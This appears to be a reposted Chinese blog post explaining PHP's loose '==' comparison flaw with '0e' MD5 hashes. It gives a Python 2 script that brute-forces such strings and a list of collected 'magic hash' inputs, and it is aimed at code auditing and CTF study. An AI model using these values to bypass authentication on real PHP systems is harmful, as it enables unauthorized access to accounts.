我是靠谱客的博主 殷勤柠檬,最近开发中收集的这篇文章主要介绍0e php若类型,0e开头MD5 python生成脚本 PHP哈希弱类型比较缺陷,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

MD5弱类型比较在代码审计当中经常见到,所以写了一个python脚本,有事没事跑一下,积累一些字符串。

网上大多都是看到《0e开头MD5值小结》这篇文章,这里希望给大家一个可自定义字符的自动化脚本,方便大家。

如果有更多的字符串,欢迎留言。0818b9ca8b590ca3270a3433284dd417.png

1、什么是PHP哈希弱类型比较缺陷

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

2、Python脚本

可自定义字符的自动化脚本,更改payload即可,字符串长度则是修改getStr(payload,s,slen)的slen

# -*- coding: utf8 -*-

#author:kalbertlee

#http://blog.csdn.net/kalbertlee

import hashlib

payload = "QWERTYUIOPASDFGHJKLZXCVBNM"

#payload = "qwertyuiopasdfghjklzxcvbnm"

#payload = "0123456789"

def calcMd5(s):

MD5 = hashlib.md5(s).hexdigest()

if MD5[0:2] == "0e" and MD5[2:32].isdigit():

print s,MD5

def getStr(payload,s,slen):

if len(s) == slen:

#Custom string

calcMd5(s)

return s

for j in xrange(len(payload)):

sl= s+payload[j]

getStr(payload,sl,slen)

if __name__ == '__main__':

getStr(payload,'',7)

3、我积累的一些0e开头MD5的字符串

纯数字类:

240610708 0e462097431906509019562988736854

314282422 0e990995504821699494520356953734

571579406 0e972379832854295224118025748221

903251147 0e174510503823932942361353209384

1110242161 0e435874558488625891324861198103

1320830526 0e912095958985483346995414060832

1586264293 0e622743671155995737639662718498

2302756269 0e250566888497473798724426794462

2427435592 0e067696952328669732475498472343

2653531602 0e877487522341544758028810610885

3293867441 0e471001201303602543921144570260

3295421201 0e703870333002232681239618856220

3465814713 0e258631645650999664521705537122

3524854780 0e507419062489887827087815735195

3908336290 0e807624498959190415881248245271

4011627063 0e485805687034439905938362701775

4775635065 0e998212089946640967599450361168

4790555361 0e643442214660994430134492464512

5432453531 0e512318699085881630861890526097

5579679820 0e877622011730221803461740184915

5585393579 0e664357355382305805992765337023

6376552501 0e165886706997482187870215578015

7124129977 0e500007361044747804682122060876

7197546197 0e915188576072469101457315675502

7656486157 0e451569119711843337267091732412

大写字母类:

QLTHNDT 0e405967825401955372549139051580

QNKCDZO 0e830400451993494058024219903391

EEIZDOI 0e782601363539291779881938479162

TUFEPMC 0e839407194569345277863905212547

UTIPEZQ 0e382098788231234954670291303879

UYXFLOI 0e552539585246568817348686838809

IHKFRNS 0e256160682445802696926137988570

PJNPDWY 0e291529052894702774557631701704

ABJIHVY 0e755264355178451322893275696586

DQWRASX 0e742373665639232907775599582643

DYAXWCA 0e424759758842488633464374063001

GEGHBXL 0e248776895502908863709684713578

GGHMVOE 0e362766013028313274586933780773

GZECLQZ 0e537612333747236407713628225676

NWWKITQ 0e763082070976038347657360817689

NOOPCJF 0e818888003657176127862245791911

MAUXXQC 0e478478466848439040434801845361

MMHUWUV 0e701732711630150438129209816536

有帮助请顶一下

0818b9ca8b590ca3270a3433284dd417.png

最后

以上就是殷勤柠檬为你收集整理的0e php若类型,0e开头MD5 python生成脚本 PHP哈希弱类型比较缺陷的全部内容,希望文章能够帮你解决0e php若类型,0e开头MD5 python生成脚本 PHP哈希弱类型比较缺陷所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(23)

评论列表共有 0 条评论

立即
投稿
返回
顶部